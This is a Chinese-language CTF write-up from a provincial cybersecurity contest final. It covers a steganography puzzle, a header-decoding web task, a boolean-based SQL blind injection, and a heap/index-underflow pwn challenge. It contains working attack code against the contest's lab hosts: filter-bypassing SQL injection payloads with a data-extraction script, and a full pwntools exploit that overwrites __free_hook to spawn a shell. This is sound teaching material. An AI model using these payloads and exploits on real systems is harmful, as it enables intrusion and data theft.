浙江省首屆網(wǎng)絡(luò)安全大賽決賽Write Up
隊(duì)名:ch1pppppppp
web是liano做的~
為了拿創(chuàng)新學(xué)分來打的這個比賽,初賽題目非常簡單,決賽的題目平均質(zhì)量不是很好,但是也有幾道比較有趣的題目,所以放一份詳細(xì)的 Write Up 出來供師傅們參考。上午的時候由于我們沒有準(zhǔn)備 misc 的工具,又沒有外網(wǎng),所以一直0分,下午官方提供了 misc 工具并且開始放附加題之后,才開始上分。最后一共做出 4 道題目,得分2100分,位列本科組第一名。(aris太強(qiáng)了)
ps:題目標(biāo)記的得分為基礎(chǔ)分,每一個隊(duì)伍做出題目,下一個做出的隊(duì)伍將會少得兩分。
小豬佩奇(Misc:400分)
題目地址:
解壓之后得到一個file.png 和一個 pwd.docx
直接打開pwd.docx,發(fā)現(xiàn)是空的,那么將其作為zip 解壓,在其中找到了一張二維碼

掃碼之后得到結(jié)果:
password:APIG
然后查看 file.png,binwalk 發(fā)現(xiàn)存在 mp3 文件, 使用foremost 分離

隨后使用
mp3steno 解密,密碼就是上面拿到的 APIG,得到 base64 編碼后的 flag,解碼后:
ZJCTF{YouKnow!Peppa_AsocialPerson}
你得點(diǎn)的快 (Web:400分)
題目地址:
點(diǎn)開題目地址,發(fā)現(xiàn)提示說,把你發(fā)現(xiàn)的東西 POST 回來,在響應(yīng)頭里面發(fā)現(xiàn) flag 字段,base64 解碼兩次后,POST 回去即可拿到 flag
import requests
import base64
re =requests.session()
url = 'http://172.21.1.102:61234/hC1DU4oEZ3'
html = re.post(url)
head = html.headers['flag']
print html.content
heade = base64.b64decode(base64.b64decode(head).split(': ')[-1])
data = {'flag':heade,'margin':heade}
print heade
html = re.post(url,data=data)
print html.content
盲人摸象(Web:600分)
題目地址:
一道典型的 sql 盲注題,本次比賽為數(shù)不多的質(zhì)量較高 Web 題目,全場也只有我們做出這道題目。
信息收集:
注入點(diǎn):
POST /iFmn2H0UOq HTTP/1.1
Host: 172.21.1.102:61234
id=1&Submit=Search
測試:
- 首先輸入正常的
id如 1,2,3,4,abcd ,發(fā)現(xiàn)返回的結(jié)果均為You find it! - 輸入
id為1-2,返回結(jié)果依然為You find it!,判斷為字符型注入 - 輸入
',發(fā)現(xiàn)返回Probably you need an other mothod.,猜測為被攔截 - 輸入
",返回Hide more deep.,猜測對應(yīng)為返回值為假.
那么到現(xiàn)在我們已經(jīng)有了足夠的信息:
- 注入為字符型注入,使用
"進(jìn)行閉合 - 當(dāng)返回值為真時,返回的內(nèi)容為:
You find it! - 當(dāng)輸入的內(nèi)容被攔截時,返回為:
Probably you need an other mothod. - 當(dāng)查詢函數(shù)返回值為假(語法錯誤,或者查詢?yōu)榭眨r,返回為:
Hide more deep.
構(gòu)造poc:
那么通過這些已知信息,我們可以構(gòu)造poc
首先測試一下都攔截了哪些關(guān)鍵字,經(jīng)測試:
if,mid,left,like,regexp,and,(空格),=,#,',> 等關(guān)鍵字被過濾
比較容易想到的是,使用/**/,來代替空格,substr 來進(jìn)行字符串截取,-- 來注釋掉語句末尾的雙引號。
而構(gòu)造比較,則可以通過<,in 來實(shí)現(xiàn),我選擇通過in進(jìn)行構(gòu)造。于是poc為:
id=-1"/**/or/**/substr(user(),1,1)/**/in/**/("s")--+&Submit=Search

編寫exp:
在上面poc的基礎(chǔ)上,很容易寫出腳本了,不過做題時也遇到了一些小問題,值得說一下:
在
python腳本中使用--進(jìn)行注釋時,發(fā)現(xiàn)總會返回Hide more deep.而在Burp中則沒有這個問題,不知道是什么原因,于是換用or "0'來閉合雙引號。-
在當(dāng)前庫
tips中,并沒有發(fā)現(xiàn)flag,需要進(jìn)行跨庫查詢,首先需要先在information_schema庫中,獲得所有的庫名。payload:
payload = '-1" or substr((select group_concat(table_schema) from information_schema.tables where table_schema not in ("information_schema","tips")),%s,1) in ("%s") or "0'得到還存在一個名為
userless的數(shù)據(jù)庫,查詢其表段,得知存在zjctf表,flag 在其content字段。 跑出的 flag 為:
zjctf{aa0_bl1nd_hha}但是上交時提示錯誤。懵了一會兒后突然想起in是不區(qū)分大小寫的。 那么猜測大寫字母,針對 flag 中唯一的單詞,嘗試提交aa0_Bl1nd_hha成功!

下面是完整的腳本:
"""
Author:Li4n0
Date:2018-11-4
"""
import requests
import string
# in 不區(qū)分大小寫 需要自己再判斷一次
url = 'http://172.21.1.102:61234/iFmn2H0UOq'
#payload = '-1" or substr((select group_concat(column_name) from information_schema.columns where table_name in ("zjctf")),%s,1) in ("%s") or "0'
#payload = '-1" or substr((select group_concat(table_schema) from information_schema.tables where table_schema not in ("information_schema","tips")),%s,1) in ("%s") or "0'
payload = '-1" or substr((select group_concat(content) from useless.zjctf),%s,1) in ("%s") or "0'
key = ''
length = 1
while True:
for i in string.printable.replace('#', ''):
data = {
'id': payload.replace(' ', '/**/') % (str(length), i),
'Submit': 'Search'
}
r = requests.post(url, data=data)
if 'You find' in r.text:
key += I
length += 1
break
print(key)
互聯(lián)互通(Pwn:800分):
主辦方在比賽結(jié)束前一個半小時放出這道題目,時間上還是很緊的,所幸最后在比賽結(jié)束前 20 分鐘寫完了 exp,拿到了 flag。
首先提供一個binary:
鏈接:https://pan.baidu.com/s/1huFet01eELSUgN99GUzmwA 提取碼:9d1g
IDA載入看下代碼發(fā)現(xiàn)不少漏洞,我選擇利用起來相對簡單的這個,程序中對于 Index 的范圍沒有檢查

而在編輯 message 的函數(shù)中則沒有輸入 index 的邏輯,而是沿用上一次的

觀察 bss 段發(fā)現(xiàn) username 所在的地址最低,下面有password,length 數(shù)組和 message 數(shù)組

另外在輸出函數(shù)中對 index 的檢查更加嚴(yán)格,無法進(jìn)行下標(biāo)溢出
于是考慮在 username 寫 message 數(shù)組地址,讓 index 等于 -8(計算得到的name+0x10對應(yīng)的下標(biāo),之所以是name+0x10 是因?yàn)?edit 中 read 的長度是由 length[index] 控制的,而他和 message 數(shù)組的偏移是0x10,這樣寫就可以一起控制),然后就可以任意修改 message 數(shù)組,然后改成 got 表地址就可以在 index 不溢出的情況下leak 到 libc 地址
有了libc 地址和任意地址寫,拿shell就非常容易了,這里選擇一種較為簡單的方式
改__free_hook到system,最后傳入一個/bin/sh的地址,觸發(fā)free()就可以拿到shell,exp如下:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./cont')
bin = ELF('./cont')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('172.21.1.103',10001)
bin = ELF('./cont')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(idx,length,con):
cn.sendlineafter('>> ','1')
cn.sendlineafter('Index: ',str(idx))
cn.sendlineafter('Length: ',str(length))
cn.sendlineafter('Message: ',con)
def edit(idx,con):
cn.sendlineafter('>> ','1')
cn.sendlineafter('Index: ',str(idx))
cn.sendlineafter('>> ','2')
cn.sendlineafter('Edit message: ',con)
def show(idx):
cn.sendlineafter('>> ','3')
cn.sendlineafter('Index: ',str(idx))
def dele(idx):
cn.sendlineafter('>> ','4')
cn.sendlineafter('Index: ',str(idx))
def change(pw,newname,newpw):
cn.sendlineafter('>> ','5')
cn.sendafter('Password: ',pw)
cn.sendlineafter('New user name: ',newname)
cn.sendafter('New password: ',newpw)
cn.sendlineafter('What\'s user name: ','a'* 0x10 + p64(0x602A70))
cn.sendlineafter(' (y/n) ','y')
cn.sendlineafter('Password: ','bbb')
add(0,0x20,'aaaa')
change('bbb\n','a'* 0x10 + p64(0x602A70),'bbb\n')
edit(-8,p64(0x601FC0))
show(0)
cn.recvuntil('View Message: ')
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00')) - libc.sym['getchar']
print('lbase:' + hex(lbase))
change('bbb','a'* 0x10 + p64(lbase+libc.sym['__free_hook']),'bbb\n')
edit(-8,p64(lbase + libc.sym['system']))
change('bbb','a'* 0x10 + p64(0x602A70),'bbb\n')
edit(-8,p64(lbase + libc.search('/bin/sh\x00').next()))
dele(0)
cn.interactive()
最后我們再來稍微討論一下這題其他的部分(怎么看怎么像是出給AWD的題目,然而賽制是解題)
首先在更改密碼處

這個地方有個off by one,通過上面 bss 的圖可以發(fā)現(xiàn),這個一字節(jié)的溢出可以更改 length 數(shù)組的第一個length 的最低位,這樣再通過edit功能就可以進(jìn)行堆溢出相關(guān)的攻擊。
另外,在 add 功能中直接就有一個堆溢出

這里判斷輸入的 length 如果大于0x20就只malloc(0x20),但是read的長度仍然是你輸入的 length。。。
另外還有一個地方

這里有一個隱藏的命令執(zhí)行,如果在AWD中被修補(bǔ)了某些漏洞導(dǎo)致我們可以劫持一次控制流但無法leak地址的話,來這里執(zhí)行shellcode應(yīng)該是個不錯的辦法
這題可能還藏著更多的漏洞,比賽上時間有限就只找到這些了=。=希望有興趣的同學(xué)能挖出更多的問題,或是把我找到的但沒有利用起來的漏洞寫個exp也是一個不錯的學(xué)習(xí)方法!